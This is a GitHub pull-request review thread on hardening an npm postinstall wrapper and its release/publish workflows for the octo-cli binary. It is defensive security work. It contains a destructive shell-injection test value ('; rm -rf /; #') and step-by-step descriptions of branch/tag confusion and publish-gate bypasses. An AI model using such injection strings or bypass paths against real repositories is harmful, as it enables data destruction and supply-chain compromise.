• Installer semver regex (install.js:447) is laxer than the CI regex (npm-publish.yml:74) — it accepts +build. Harmless for traversal (no / allowed, version sits mid‑filename), but worth keeping in sync.
• checksums.txt is unsigned and co‑located with the archive — this is the standard goreleaser trust model (trust root = GitHub release integrity), but the install.js comment "verifies its checksum" slightly overstates the guarantee. Consider a wording tweak and/or cosign as a future follow‑up.
• run.js:33-34 SIGNUMS table is incomplete; the 128 + (SIGNUMS[res.signal] || 0) fallback returns 128 for unmapped signals (e.g. SIGPIPE/SIGUSR1). Prefer require("os").constants.signals[res.signal]. Cosmetic — the explicit re‑raise on :30 handles the common cases.
• No idle‑vs‑wall‑clock download deadline (slow‑trickle could stall npm install, capped by 200 MiB / allowlisted host); allowlist/parse rejections are retried 3× before failing fast. Minor robustness.

Summary

The installer and shim are solid. The blocker is the workflow script‑injection at npm-publish.yml:67 (#1) — a real sink in a token‑bearing publish job, with a trivial env:‑based fix. Please also consider the Environment gate (#2) and provenance/symlink hardening for this security‑sensitive package. Once #1 is fixed I'd be happy to re‑review.

[liuooo]

Round 3 — addressed all blockers + Linus-style review

Pushed two commits:

• `c63ffc0` — fix(npm): address PR feat(npm): add @mininglamp-oss/octo-cli npm wrapper #27 review rounds 2-3
• `2ef07c2` — test(npm): node:test coverage for the installer's pure functions

Plain push (additive), no force.

Round-2 review responses

@yujiawei (4394175208 + 4394180019)

• 🔴 Symlink in archive → arbitrary chmod / arbitrary-binary execution — Fixed. `fs.lstatSync` before `chmodSync`; rejects non-regular files and `unlink`s the symlink so a later run doesn't follow it. Reproduced the attack locally (constructed an archive whose `octo` member is a symlink to a 0600 victim file); guard refuses extraction, victim's mode preserved.
• 🔴 Workflow script injection (`${{ inputs.tag }}` in `run:`) — Fixed. All `${{ inputs.* }}` / `${{ steps.* }}` interpolations now go through `env:`. YAML parser confirms zero expression-language sinks remain in any `run:` block across both `npm-publish.yml` and `release-publish.yml`.
• 🟡 `NPM_TOKEN` publish has no protected Environment (`environment: npm-release`) — Not in this PR. As you flagged, it's partly a repo-settings change. Tracked as a follow-up: once the `npm-release` Environment exists in repo Settings with required reviewers, adding `environment: npm-release` to the publish job is a one-line change.
• 🟢 Trust model: checksum is integrity not provenance — Documented at the top of `install.js` and in a new "Trust model" section of `npm/README.md` (plus a `Behavior under failure` paragraph that documents the hard-exit / no-`SKIP_DOWNLOAD` decision you asked to be made explicit).
• 🟢 `download()` wall-clock deadline — Added a 5-minute cap across all retries, separate from the 30s idle timeout, so a slow-trickle peer can't stall `npm install`.
• 🟢 `install.js` / CI semver regex divergence (`+build`) — Aligned. Installer regex now matches the workflow's tag regex (no `+build`); both reject it.
• 🟢 Allowlist / parse rejections retried 3× — Marked `nonRetryable` on `assertSafeHost` failures, malformed URL, deadline exceeded, response oversize. Fail fast instead of burning attempts.
• 🟢 `run.js` SIGNUMS table incomplete — Now uses `os.constants.signals` so SIGPIPE / SIGUSR1 / etc. also get a faithful exit code.
• 🟢 `npm provenance` — Added `id-token: write` + `--provenance` on `npm publish`. Consumers can verify with `npm audit signatures`. README documents this as the only origin link for the wrapper tarball itself.
• 🟢 Missing `npm/LICENSE` — `npm/LICENSE` added (copy of project root LICENSE), `files:` updated to include it.
• 🟢 `install.test.js` not shipped — `files:` narrowed to `scripts/install.js` and `scripts/run.js` explicitly. `npm pack --dry-run` confirms the tarball ships 5 files (LICENSE, README, package.json, install.js, run.js).
• 🟢 `entry.length < 2` dead code, semver `+build`, etc. — All cleared by the changes above.

Linus-style review responses

I asked a Linus-style review to look at the whole branch (committed + round-3 unstaged). It surfaced two structural issues the security-focused reviews didn't:

• 🔴 `on: release: published` trigger is dead — Verified that GitHub's recursion rule (events caused by `GITHUB_TOKEN` don't fire workflows) suppresses our `release: published` trigger. `release-publish.yml` uses `GITHUB_TOKEN` to flip the release out of draft. So the entire `wait-for-artifacts` step was defending a race that couldn't happen — `npm-publish` would never auto-trigger. Fixed by deleting the dead trigger and `wait-for-artifacts`, and adding an explicit `gh workflow run npm-publish.yml -f tag=$TAG` at the end of `build-artifacts` (`workflow_dispatch` is exempt from the recursion rule per GitHub docs). Net effect on `npm-publish.yml`: -52 lines, one trigger source, no remote-state polling.
• 🟡 PATH-hint fallback counted `..` to guess npm prefix — Same shape as the bug you caught in round 1. Rewritten to skip the guess entirely: if npm's bin is already on PATH, do nothing; otherwise hint our own `bin/` (`path.join(__dirname, "..", "bin")` — exact, no inference). Cost: the user only fixes octo-cli, not other global packages, but if npm's bin isn't on PATH they have that problem repo-wide.

Plus a regression-protection layer:

• 🟢 No JS-level tests — `scripts/install.test.js` adds 32 tests with `node:test` (no deps) covering `assertSafeHost` (allowlist + nonRetryable contract), `isValidReleaseSemver` (incl. the `+build` rejection that aligns with CI), `assetName` (locked to the 6-platform grid that matches `.goreleaser.yaml`), `parseChecksumEntry` (hex shape + missing entry), and `maybeHintPath` (5 PATH scenarios × 4 shell dialects). Wired into CI as a separate `npm-test` job in `ci.yml` (`setup-node@v4` / Node 20), parallel with the Go build.

Verified

• 32 tests pass locally
• Symlink attack PoC blocked by the new guard
• YAML parse + injection-sink grep across both workflows: 0 sinks in `run:` blocks
• e2e install against v0.5.0: archive downloads, checksum verifies, binary runs

Still to do (not in this PR)

• `environment: npm-release` on the publish job (waiting on repo Settings)
• Real run validation when v0.6.0 is cut: the new `release-publish → npm-publish` chain and the first `--provenance` publish

cc @yujiawei @Jerry-Xin @lml2468

[Jerry-Xin]

The PR is in scope for octo-cli and the npm wrapper/release changes look merge-ready.

💬 Non-blocking

• 🔵 Suggestion — .github/workflows/npm-publish.yml:60-96: the resolver normalizes both v0.6.0 and 0.6.0, but checkout happens before normalization using the raw input. A manual tag=0.6.0 run can fail at checkout unless that exact ref exists. Consider either requiring v explicitly or checking out steps.version.outputs.TAG after resolution.
• 🟡 Warning — .github/workflows/release-publish.yml:99-103: gh workflow run only dispatches npm-publish.yml; it does not wait for the npm publish result. A release workflow can finish green while npm publication fails separately. This is acceptable if monitored as a separate workflow, but worth making explicit in release operations.
• 🔵 Suggestion — npm/scripts/install.js:126-246: the GitHub release downloader does not appear to honor npm proxy settings or HTTPS_PROXY. That may matter for corporate/agent environments where npm registry access works through configured proxy but direct GitHub downloads do not.

✅ Highlights

• Strong install-time hardening: HTTPS host allowlist, redirect limits, byte cap, wall-clock deadline, checksum verification, and regular-file validation after extraction.
• Release/npm workflow hardening is thoughtful: SHA-pinned actions, scoped permissions, release-existence gate, prerelease next dist-tag handling, and npm provenance.
• Local verification passed: node --test scripts/install.test.js, node --check scripts/install.js && node --check scripts/run.js, go test ./..., and npm pack --dry-run.

Dismissing: this APPROVE incorrectly downgraded the checkout-before-normalization supply-chain bypass to non-blocking. The root cause identified in round 6 (raw inputs.tag in checkout) remains unfixed. Re-submitting with correct verdict.

[Jerry-Xin]

Re-review at 3fd1cc630cc8 — correcting my earlier (dismissed) APPROVE. The new footgun guards are welcome but the root-cause supply-chain bypass from round 6 remains open.

🔴 Blocking

• 🔴 Critical — .github/workflows/npm-publish.yml L60: actions/checkout still uses raw ${{ inputs.tag }}. The resolver (L78–96) normalizes to TAG=v$VERSION after checkout, so a dispatch with tag=0.6.0 (no v prefix) checks out whatever ref 0.6.0 resolves to — which could be an attacker-created branch with malicious code — while the release gate validates the legitimate published release for v0.6.0. The new tagName == TAG equality check (L119) does not help because it compares the release's tag name against the normalized TAG, not against the actually-checked-out ref. Net result: malicious code ships to npm with valid Sigstore provenance.
• 🔴 Critical — Concurrency key (.github/workflows/npm-publish.yml L33) uses raw inputs.tag, so npm-publish-v0.6.0 and npm-publish-0.6.0 are distinct groups and do not serialize. A race between the legitimate dispatch and the attacker's dispatch would not be caught.

✅ Acknowledged improvements in this commit

• ✅ Empty-TAG guard (L107–110) prevents gh release view "" from silently resolving to the latest release.
• ✅ tagName equality check (L117–120) prevents future gh CLI fallback behavior from validating an unrelated release.

💡 Fix — any one of these closes the gap:

1. Reject non-v input in the resolver: [[ "$REF" =~ ^v ]] || { echo "::error::Tag must start with v"; exit 1; } — narrowest change, zero structural impact.
2. Checkout the normalized ref: move checkout after the resolver and use ref: refs/tags/${{ steps.version.outputs.TAG }} — structurally cleaner but requires a two-step layout change.
3. Post-checkout SHA assertion: after checkout, compare git rev-parse HEAD against the tag target SHA from the release API — defense-in-depth but more complex.

Option 1 is recommended; it closes both the checkout and concurrency-key issues (non-v input never reaches either path).

[liuooo]

Round 8 — closed the input-normalization gap

Pushed `e3e5e84`. You're both right — the previous round's footgun guards (empty-TAG bail and tagName equality) closed the gh-CLI-fallback hole, but left the normalization seam wide open. Specifically: checkout was using raw `${{ inputs.tag }}`, while the gate validated the v-normalized form. A dispatch with `tag=0.6.0` would checkout whatever `0.6.0` resolves to (an attacker-controlled branch named `0.6.0`) and the gate would happily validate the legitimate `v0.6.0` release.

Two changes, defense-in-depth (lml2468's options 1 and 2 from her review):

1. Strict v-prefix on the input

`Resolve` now rejects bare semver (`0.6.0`) and branch-ish refs (`main`, `HEAD`, etc.). The check happens before any filesystem operation — attacker content can never reach the workspace if the input is rejected. Resolve was moved ahead of checkout (it only reads inputs / writes outputs, no checkout dependency) with `working-directory: .` overriding the job-level `npm` default.

2. `refs/tags/` checkout prefix

Even with the v-prefix enforced, a same-named branch could theoretically shadow a tag depending on actions/checkout's resolution order. `refs/tags/${{ steps.version.outputs.TAG }}` disambiguates: only an actual tag in the tags namespace resolves.

The contract is now

• Input must carry the `v`
• Ref must be in the tags namespace
• Combined with the previous round's empty-TAG guard and tagName-equality check, the gate validates the same release the checkout will package, with no normalization seam left to exploit.

Smoke-tested

```
REJECT: '0.6.0' (bare semver — no v)
ACCEPT: 'v0.6.0'
ACCEPT: 'v0.6.0-rc.1'
REJECT: '; rm -rf /; #' (injection attempt)
REJECT: ''
REJECT: 'main' (branch name)
```

What's still NOT in this PR (acknowledged follow-ups)

• Jerry-Xin's option 3: post-checkout SHA equality — Compare `git rev-parse HEAD` with the release tag target SHA. This would defend against a maintainer-level compromise that creates a fake tag pointing at malicious code. The two changes above close the "any write-access actor can dispatch arbitrary refs" attack class; the SHA check is the orthogonal layer for "attacker controls tag creation." Tracking as follow-up because it requires annotated-tag dereferencing and a new permission (`contents: read` is enough for ref lookup, which we already have).
• Concurrency key normalization — `npm-publish-${{ inputs.tag }}` still uses raw input. With the v-prefix enforcement above, only v-prefixed inputs make it past the first step, so this is moot — but if anyone removes the v-prefix check in the future, two equivalent-but-differently-spelled dispatches wouldn't serialize. Tiny nit, not in this PR.

Verified

• actionlint clean
• Step order correct (Resolve → checkout → setup-node → verify → set version → publish)
• 6 input variants smoke-tested (3 accept, 3 reject)
• 35 npm tests still pass

cc @yujiawei @lml2468 @Jerry-Xin

[lml2468]

✅ Re-review APPROVED — octo-cli #27 (e3e5e84)
feat(npm): add @mininglamp-oss/octo-cli npm wrapper

All three blocking issues from my previous rounds are resolved:

1. Resolver before checkout — validation now runs before actions/checkout (with working-directory: . override). Rejected inputs never reach the checkout step, so attacker-supplied refs cannot land content in the workspace before validation.

2. Bare semver rejected — regex changed from ^[0-9]+\. to ^v[0-9]+\., enforcing v-prefix. tag=0.6.0 is now rejected with a clear error message explaining the branch/tag confusion risk.

3. Checkout pinned to tag ref — ref: refs/tags/${{ steps.version.outputs.TAG }} explicitly resolves to the tag, not a same-named branch. Combined with the v-prefix enforcement, the checkout ref and release gate now use the same canonical value.

Previously resolved items still intact:

• ✅ Empty TAG bailout guard
• ✅ tagName equality check (belt-and-braces)
• ✅ install.js cleanup refactor (tmp archive unlinked before fail())
• ✅ .goreleaser.yaml sha256 pinning
• ✅ $DRY_RUN SC2086 fix

CI green: actionlint, npm test, build & test, Analyze (actions/go).

[Jerry-Xin]

In scope for octo-cli, but the release-to-npm handoff has a blocking supply-chain ref ambiguity.

🔴 Blocking

🔴 Critical — .github/workflows/release-publish.yml:51-55 checks out ${{ inputs.tag }} as an unqualified ref before building the release artifacts. The new npm installer trusts those artifacts and checksums.txt, so if a branch and tag share the same name, actions/checkout can resolve the branch while the release evidence still refers to the intended tag. This can publish binaries built from the wrong commit. Use an unambiguous tag ref here, e.g. ref: refs/tags/${{ inputs.tag }}, after validating the tag format before checkout.

🔴 Critical — .github/workflows/release-publish.yml:99-103 dispatches npm-publish.yml with --ref "$TAG", again using an unqualified attacker-controllable ref name. The comment says this pins the publish workflow to the tag, but a same-named branch can defeat that assumption depending on ref resolution. Avoid dispatching the publish workflow from an ambiguous ref; use a trusted workflow ref plus the existing refs/tags/... checkout inside npm-publish.yml, or otherwise resolve and pass only an unambiguous tag reference supported by GitHub’s dispatch API.

✅ Highlights

The npm wrapper itself is generally careful: host allowlisting, HTTPS-only downloads, bounded retries, checksum validation, named-member extraction, and regular-file checks are all good controls.

Local verification passed: node --test scripts/install.test.js, node --check scripts/install.js, node --check scripts/run.js, npm pack --dry-run, and git diff --check main...HEAD.

[yujiawei]

Code Review — PR #27 (octo-cli)

Verdict: APPROVED

A thin npm wrapper that downloads the matching prebuilt Go binary on postinstall, verifies its sha256 against the release checksums.txt, and execs it. This is a supply-chain-sensitive surface (postinstall script + network fetch + extraction running on every consumer machine), and the implementation handles it carefully. I reviewed it as a security-sensitive change and found no blocking (P0/P1) issues. A few P2/nit suggestions below — none of them gate the merge.

What I verified

• ✅ Unit tests pass — node --test scripts/install.test.js → 35/35 pass. node --check clean on both install.js and run.js.
• ✅ Zero third-party dependencies — package.json has no dependencies/devDependencies; install.js and run.js use only Node builtins (fs, path, https, crypto, child_process, os). Minimal install-time attack surface.
• ✅ Archive naming is in lockstep with goreleaser — assetName() produces octo-cli_<version>_<os>_<arch>.{tar.gz|zip}, matching .goreleaser.yaml's name_template and format_overrides. OS/arch mapping (win32→windows, x64→amd64) is correct. The binary sits at the archive root (no wrap_in_directory), so the named-member extraction targets the right path.
• ✅ Redirect allowlist (install.js:702-736) — only github.com + the GitHub asset CDNs are followed; non-https and off-allowlist hosts throw a non-retryable error before any bytes land. MAX_REDIRECTS, idle timeout, wall-clock deadline, and a 200 MiB size cap are all enforced.
• ✅ Checksum parsing is strict (install.js:758-769) — requires ^[0-9a-f]{64}$, rejecting missing/malformed/uppercase/wrong-length digests. The 64-hex invariant is pinned to .goreleaser.yaml's algorithm: sha256 with cross-referencing comments.
• ✅ Extraction hardening (install.js:1016-1044) — extracts only the single named binary member (mitigates zip-slip from sibling members), then lstats the result and refuses anything that isn't a regular file (mitigates a symlink member being chmod'd/exec'd). Defense-in-depth behind the release trust root.
• ✅ Workflow command-injection guard — npm-publish.yml reads inputs.tag via env: (INPUT_TAG) rather than ${{ }} interpolation in the run: block, correctly avoiding CWE-94 in a job that later has NPM_TOKEN in scope. NPM_TOKEN is only in scope in the final Publish to npm step, not in the input-parsing step.
• ✅ Publish gate — npm-publish.yml refuses to publish unless tag resolves to a real, non-draft GitHub Release whose tagName exactly matches the requested tag (with explicit guards against gh release view "" silently resolving to "latest"). Checkout pins refs/tags/... to defeat branch/tag name confusion. Tag-format regex is kept consistent between release-publish.yml and npm-publish.yml.
• ✅ Signal propagation in the shim (run.js) — re-raises terminating signals and falls back to 128+signum for default-ignored signals, so callers/supervisors observe conventional exit codes.

Findings

P2 / Suggestions (non-blocking)

1. checksums.txt has no independent signature. The sha256 verification proves the archive matches whatever checksums.txt the same release serves; both share one trust root (GitHub Release write access), so an actor who can write to a release can replace both consistently. This is integrity, not provenance — and the code/README are admirably explicit about it (install.js:664-671, npm/README.md "Trust model", future cosign note). No change requested; flagging so a human reviewer can confirm the trust model is acceptable for the distribution channel. The wrapper tarball itself does get --provenance (Sigstore), which is the right call.

2. Out-of-band items a human should confirm (cannot be verified from the diff): (a) ownership of the @mininglamp-oss npm scope, and (b) that NPM_TOKEN is correctly scoped to publish only this package. The PR notes these were handled separately. Additionally, the publish gate's strength rests on release creation being restricted to trusted maintainers — worth a sanity check that repo:write alone can't both cut a published release and dispatch the publish workflow.

3. Nit — tar.exe availability on Windows. Extraction shells out to tar for both .tar.gz and .zip. The code already detects ENOENT and prints a targeted message pointing at Windows 10 1803+ / Git for Windows / 7-Zip, which is the right UX. No action needed; noting that the zip path depends on the host's bsdtar supporting single-member extraction from zip (it does on supported Windows builds).

4. Nit — no --ignore-scripts fallback. If a consumer installs with --ignore-scripts, the postinstall never runs and the binary is absent; run.js then surfaces a clear "binary not found — try reinstalling" message rather than a bare ENOENT. That's acceptable handling; just calling out the expected behavior.

Summary

Clean, dependency-free, and the security-relevant edges (host allowlist, size/time caps, strict checksum format, named-member + non-regular-file extraction guards, workflow input handling, and the publish gate) are all covered with tests and explanatory comments. The trust-model limitation is honestly documented rather than glossed over. Approving.

[liuooo]

Round 9 — extended ref-ambiguity hardening to release-publish.yml

Pushed `81a5752`. You're right — npm-publish.yml was hardened in round 8 but release-publish.yml was left soft, even though they're one security boundary. Three changes mirroring the npm-publish fix:

1. Validate-before-checkout

New first step rejects non-v-prefixed inputs (`0.6.0`, `main`, injection payloads) before any filesystem operation. The previous "Validate tag before upload" ran after both the privileged GoReleaser build and the checkout — too late, attacker content would already have built and signed.

2. `refs/tags/` checkout prefix

`ref: refs/tags/${{ inputs.tag }}` forces the tags namespace — a same-named branch can't shadow the tag in actions/checkout's ref resolution.

3. Trusted workflow ref for dispatch

Dropped `--ref "$TAG"` from `gh workflow run`. The dispatch now defaults to the repo's default branch, so the npm-publish.yml definition is taken from a trusted ref instead of the (potentially fake) tag. The packaging contents are still pinned by npm-publish.yml's own `refs/tags/` checkout, so the published tarball still matches the release commit.

This separates two concerns that should never have been conflated:

Concern	Source
Which workflow file runs	default branch (trusted)
What source it packages	release tag (via npm-publish's internal `refs/tags/` checkout)

Step order, build-artifacts

```

1. Validate tag input (pre-checkout)
2. Checkout ref=refs/tags/${{ inputs.tag }}
3. Set up Go
4. Build with GoReleaser
5. List dist artifacts
6. Upload artifacts to release
7. Trigger npm publish (no --ref)
   ```

Verified

• actionlint clean on all 3 workflows
• 35 npm tests still pass

cc @Jerry-Xin

[lml2468]

✅ Re-review APPROVED — octo-cli #27 (81a5752)
feat(npm): add @mininglamp-oss/octo-cli npm wrapper

This commit closes the remaining release-publish.yml supply-chain gaps that Allen flagged in round 8:

1. Pre-checkout tag validation — new step enforces v-prefixed semver BEFORE checkout, matching npm-publish.yml's resolver regex. Rejected inputs never land in the workspace.

2. Checkout pinned to tag namespace — ref: refs/tags/${{ inputs.tag }} replaces the bare ref: ${{ inputs.tag }}, eliminating branch/tag ambiguity. Same fix pattern as npm-publish.yml.

3. Dispatch without --ref — gh workflow run npm-publish.yml now dispatches against the default branch (trusted workflow file) instead of --ref "$TAG". The packaging contents are separately pinned by npm-publish.yml's own refs/tags/ checkout. Good separation: "which workflow runs" (trusted) vs "which source it packages" (release tag).

4. Old post-checkout validation removed — the "Validate tag before upload" step is superseded by the pre-checkout validation, reducing redundancy.

All items from every review round are now resolved. CI green.

[Jerry-Xin]

The PR is relevant to octo-cli and is ready to merge; I found no blocking correctness or security issues.

💬 Non-blocking

🟡 Warning: npm/scripts/install.js:126 uses raw https.get, so it will not automatically honor npm proxy settings such as corporate proxy/cafile configuration. Installs may fail in environments where npm install itself works only because npm is proxy-configured. Consider supporting HTTPS_PROXY / HTTP_PROXY / NO_PROXY, or documenting that direct GitHub HTTPS access is required.

🔵 Suggestion: npm/scripts/install.js:347 through npm/scripts/install.js:365 handles the highest-risk postinstall path, but tests currently cover parsing, platform naming, host checks, deadline behavior, and PATH hints rather than archive extraction. A small fixture-based tar/zip extraction test would give useful regression coverage for the tar invocation and expected binary member name.

✅ Highlights

The release/package flow is well aligned with the project: GoReleaser artifact naming, npm version substitution, dist-tag handling, and the package shim all match the intended octo-cli_<version>_<os>_<arch> release layout.

The installer has good defensive checks: strict platform/version validation, redirect host allowlisting, sha256 verification, bounded download size/time, named-member extraction, and a regular-file check before chmod/execution.

Verified locally: npm test, npm pack --dry-run, go test ./..., and git diff --check main...HEAD all passed.

[yujiawei]

Code Review — PR #27 (octo-cli)

Independent, security-focused review of the @mininglamp-oss/octo-cli npm wrapper. This is a supply-chain–sensitive surface: a postinstall script downloads a prebuilt Go binary on every npm install -g, verifies its sha256, and execs it; two GitHub Actions workflows publish the package. I read the full download → verify → extract path, both publish workflows, and the cross-file contracts (goreleaser ↔ installer ↔ package.json ↔ tests) at head 81a5752, and adversarially re-verified each finding against the actual code.

Verdict: APPROVED. No P0/P1 (blocking) issues. The five items below are P2 — non-blocking, and every one fails safe.

What's done right (verified, not assumed)

• Download path: per-hop host allowlist re-checked on every redirect including the first request, https-only (http downgrade rejected), MAX_REDIRECTS/MAX_DOWNLOAD_BYTES caps, dual idle + wall-clock deadlines (the wall-clock timer is cleared on close so it can't hang Node), and correct retry classification (4xx incl. 404 non-retryable, only 5xx/undefined retried, exactly 3 attempts).
• Integrity: parseChecksumEntry does an exact filename match and enforces ^[0-9a-f]{64}$, so a garbage line that merely matches by filename is rejected. sha256 is computed over the in-memory buffer and compared before the bytes are written/extracted — no TOCTOU between verify and extract.
• Extraction: named-member extraction prevents zip-slip from sibling members; lstatSync + isFile() refuses a symlink/dir/device member before chmod, so a malicious member can't redirect chmod/exec.
• Version safety: the 0.0.0 placeholder guard and strict isValidReleaseSemver both run before VERSION touches a URL or a filesystem path (the regex precludes /, .., spaces).
• Workflows: dispatch inputs are read via env: and never interpolated into a run: shell body (CWE-94 avoided); both checkouts use the refs/tags/ prefix and validate before checkout (branch/tag-confusion closed); the release-existence gate binds to the requested $TAG, guards empty-TAG, asserts tagName equality, and checks isDraft; permissions: {} at top level with least-privilege jobs; all third-party actions SHA-pinned; trusted-workflow-ref vs packaged-release-ref separation is correct.
• Contracts: assetName() exactly matches goreleaser's name_template and os/arch tokens; package.json os × cpu (6 combos) equals goreleaser's build matrix — nothing uninstallable, nothing built-but-unlisted; sha256 is pinned in goreleaser in lockstep with the installer regex; run.js propagates exit codes and signals (128+signum) correctly; the files allowlist ships only the wrapper and excludes bin/.

Non-blocking findings (P2)

1. Decompression-bomb size on extract is unbounded — npm/scripts/install.js:363-364. MAX_DOWNLOAD_BYTES caps the compressed bytes received over the wire, but tar -xzf/-xf decompresses the named member with no size cap, so a crafted archive whose octo-cli member is a compression bomb could exhaust disk during postinstall. This is not network-reachable — the host allowlist + https-only + sha256-before-extract block a MITM; it requires write access to the GitHub Release itself, which the file header explicitly designates as the shared trust root and scopes out of provenance. Consistent with the documented trust model. Optional hardening: fs.statSync(extractedPath).size against a sane bound before chmod.

2. Tag-validation regex diverges from the reusable publish workflow — release-publish.yml:59, npm-publish.yml:88 vs the org reusable-release-publish.yml validator. The octo-level regex accepts leading zeros (v01.2.3) which the reusable one rejects, and rejects +build metadata which the reusable one accepts. Worst case is an orphaned published Release with no npm artifact — fails safe, no arbitrary-ref publish, no escalation. Suggest: align the two regexes, or soften the "lockstep across checkout/gate/set-version/publish" comment so it doesn't overstate parity with the reusable workflow.

3. npm-publish gate doesn't verify artifacts are attached — npm-publish.yml "Verify release exists and is published" queries only isDraft,tagName. A repo:write actor (or a run where upload failed after the Release was un-drafted) could workflow_dispatch against a published-but-empty Release; the gate passes and the wrapper publishes to npm, then 404s at end-user install time. Not a code-exec vector (the tarball contains no binary; repo:write is already trusted) — an availability/robustness gap. Suggest: add assets to the --json query and assert checksums.txt + at least one archive are present before a non-dry-run publish.

4. OS/ARCH runtime maps are untested — npm/scripts/install.js:37-38. The assetName grid test feeds already-mapped tokens; the process.platform/process.arch → token translation literals are not exported and have no test, and the only guard (if (!OS || !ARCH)) catches an unset mapping but not a wrong-but-truthy one. A future typo (e.g. win32:"win") would keep CI green yet 404 for everyone on that platform. Correct at head. Suggest: export the maps (or a mapPlatform/mapArch helper) and add a translation test so the whole chain is locked, not just the half after the map.

5. .goreleaser.yaml uses the deprecated singular format/format_overrides[].format — .goreleaser.yaml:22-27. Under the pinned ~> v2 this is a deprecation warning, not a break, and the existing pipeline already uses it. Suggest: rename to formats: before any goreleaser v3 bump, and add goreleaser check to CI.

For human attention (security-sensitive PR)

• Trust model is integrity, not provenance — honestly documented in npm/README.md and the installer header: the archive and its checksums.txt share one trust root (the GitHub Release), so anyone who can write to the Release replaces both consistently. Findings #1 and #3 both bottom out at this same boundary. The mitigations on the roadmap (cosign-signed checksums.txt, npm --provenance on the wrapper) are the right direction; worth a human confirming the NPM_TOKEN secret scope and Release-write permissions are tight.
• CI is red on two checks that are unrelated to this PR's code: analyze / CodeQL (go) fails on a repo-config conflict ("CodeQL analyses from advanced configurations cannot be processed when the default setup is enabled"), and check-sprint fails because the linked issue has no Sprint board field. Neither is a code defect introduced here; both are repo/process settings a maintainer needs to resolve before merge.

None of the P2 items requires a code change to merge. Nice work on a genuinely careful supply-chain surface.

[lml2468]

✅ Re-review APPROVED — octo-cli #27 (915dc59)

Rebase onto latest main. Incremental diff adds workflow files already on main (check-sprint, codeql, octo-ci-status, octo-pr-result-notify, octo-pr-review-feed). No changes to npm wrapper code or release-publish.yml.

All fixes from previous 9 rounds remain intact. CI green (build & test, npm test, actionlint, Analyze actions).

[Jerry-Xin]

Scope check passed: this PR directly adds npm distribution for the octo-cli binary and related release automation.

💬 Non-blocking

• 🟡 Warning: The core postinstall download/extract path is not covered by automated tests. npm/scripts/install.test.js:3 notes this is manual-only, while the highest-risk behavior lives in npm/scripts/install.js:329 and npm/scripts/install.js:363. A mocked HTTPS + fixture archive test would reduce release-time risk.
• 🔵 Suggestion: PATH hint commands could quote/escape ourBinDir more carefully for shells like fish or unusual install paths with spaces/special characters. See npm/scripts/install.js:286 and npm/scripts/install.js:303.

✅ Highlights

• Strong install-time safeguards: strict version validation, redirect host allowlist, SHA-256 verification, download size/deadline caps, and non-regular-file rejection after extraction.
• npm publishing flow has good supply-chain controls: pinned actions, tag namespace checkout, release existence gate, --access public, prerelease dist-tag handling, and provenance.
• Verified locally: node --test scripts/install.test.js, npm pack --dry-run, and go test ./... all passed. actionlint was not available in the environment.

[yujiawei]

Code Review — PR #27 (octo-cli)

Independent review of the new @mininglamp-oss/octo-cli npm wrapper and the supporting CI/release changes. This PR was reviewed with extra care because it introduces a new supply-chain surface: a postinstall script that downloads, verifies, extracts, and execs a prebuilt binary, plus a workflow that publishes to npm with provenance.

Overall: the code is unusually well-engineered for a postinstall downloader — checksum verified in memory before any disk write, https-only redirect allowlist re-checked on every hop, bounded redirects/size/wall-clock deadline, named-member tar extraction with an lstat symlink guard, SHA-pinned actions, refs/tags/ ref-confusion mitigation, env-var indirection to avoid CWE-94 in workflow inputs, and npm --provenance. The download, extraction, exec, and correctness dimensions surfaced no blocking issues. There is one blocking gap on the publish-trigger path, described below.

Verdict: Changes Requested

A single P1 in the publish pipeline blocks merge. Everything else is non-blocking hardening (P2). The P1 is a narrow, insider-only gap, but on a brand-new npm channel that runs arbitrary code on every consumer via postinstall — and the code's own comment claims a protection it does not implement — so it warrants a fix (or at minimum a corrected comment) before this control is relied upon. I'd also like a human to confirm the threat-model decision here.

---

P1 (blocking)

npm-publish.yml gate does not replicate the validate_run_id CI-evidence check, contrary to its own comment

.github/workflows/npm-publish.yml, "Verify release exists and is published" step.

The gate performs exactly four checks: the tag matches the v-semver regex, a GitHub Release for the tag exists, gh returned the same tag that was requested, and the release is non-draft. It never verifies that the tagged commit passed CI, nor that the release was produced by release-publish.yml.

returned_tag=$(printf '%s' "$info" | jq -r '.tagName')
if [ "$returned_tag" != "$TAG" ]; then ... fi
is_draft=$(printf '%s' "$info" | jq -r '.isDraft')
if [ "$is_draft" = "true" ]; then ... fi
# <- no validate_run_id / CI-head_sha check, unlike the release-publish chain

Yet the step's comment asserts: "The release-publish.yml chain (with its validate_run_id evidence check) is the intended publish trigger; this gate enforces that invariant on the downstream workflow too." It does not enforce that invariant.

Why it matters. release-publish.yml requires validate_run_id ("Required: successful CI run ID from the tagged commit as release evidence"), enforced by reusable-release-publish.yml@main. Because CI only runs on push/PR to main, an off-main malicious commit cannot obtain a passing CI run — that is the barrier. But npm-publish.yml is directly workflow_dispatch-able, so the barrier is bypassable:

1. A repo:write collaborator pushes tag v9.9.9 at an arbitrary commit.
2. They create a published (non-draft) Release for v9.9.9 via the API/UI (release creation needs only contents:write, which repo:write has).
3. They run gh workflow run npm-publish.yml -f tag=v9.9.9 -f dry_run=false.

The gate passes (regex OK, release exists, non-draft, tag matches), npm-publish checks out refs/tags/v9.9.9, and npm publish --access public --provenance --tag latest ships the attacker-controlled npm/ tree to @latest with a valid Sigstore provenance attestation pointing at the malicious commit. The wrapper's postinstall then runs arbitrary code on every consumer.

The workflow's own comments name repo:write as the in-scope adversary ("any actor with repo:write could directly workflow_dispatch this workflow ... ship that ref to npm @latest with a valid Sigstore provenance attestation"), so this is a gap by the authors' own threat model, not an out-of-scope insider concern. The independent binary sha256 trust path is unaffected; this is specifically about the npm wrapper publish trigger.

Recommendation (any one closes it):

• Replicate the CI-evidence requirement in npm-publish.yml: resolve refs/tags/<tag> to a commit SHA and require a successful CI run with matching head_sha, mirroring the reusable workflow's validate step; or
• Have release-publish.yml pass the validated run id (or a short-lived signed evidence token) into npm-publish via dispatch inputs, and have the gate re-assert it; or
• Bind NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }} to a protected GitHub Environment with required reviewers and a tag-restricted deployment policy, so a direct unattended dispatch cannot reach the token.

At minimum, correct the comment so it does not claim an invariant the code does not enforce.

---

P2 (non-blocking — hardening / robustness)

These do not block merge; flagging for follow-up.

Supply chain / CI

• No Environment gate on NPM_TOKEN (npm-publish.yml, publish job): the token is a plain repo secret with no environment: declaration, so any successful dispatch uses it unattended. A protected Environment would add a control plane independent of the in-workflow gate logic (the comments note the empty-TAG footgun has already regressed once). Closely related to the P1; an Environment gate would also mitigate that path.
